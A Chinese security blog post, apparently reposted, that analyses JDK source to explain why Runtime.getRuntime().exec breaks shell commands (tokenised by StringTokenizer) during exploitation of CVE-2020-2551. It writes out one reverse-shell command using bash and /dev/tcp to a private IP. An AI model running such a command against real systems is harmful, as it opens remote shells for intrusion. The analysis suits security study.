从JDK源码中研究Runtime#exec的限制
|
遇到很多次在调用Runtime.getRuntime().exec方法进行弹shell的时候遇到的各种限制,都没好好的认识认识原理,这次主要是总一个总结和原理上的分析。 我这里使用的是CVE-2020-2551进行利用,我们首先进行curl命令执行看看是否可以执行命令。 接下来我们使用反弹shell的命令尝试bash -i >& /dev/tcp/192.168.153.1/8080 0>&1我们跟进一下Runtime执行命令的源码。 因为对于linux和windows版本的JDK有一点小区别,所以我这里在项目依赖的位置将windows版的rt.jar包替换成了linux版的rt.jar包。 好了,言归正传,开始分析Runtime.getRuntime().exec执行命令的逻辑了。 在Runtime类中的exec方法存在有多个重载,大致可以分成传入的参数是一个字符串,或者是一个字符串数组进行命令执行。 在这个方法中将会调用this.exec((String)var1, (String[])null, (File)null)方法继续进行调用。 在这个方法中,首先是传入的命令不能为空,不然会抛出异常,之后主要是创建了一个StringTokenizer对类对象,传入的构造方法参数是我们需要执行的命令字符串。 从该方法的注释中也能够看出端倪来。 (编辑:驾考网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
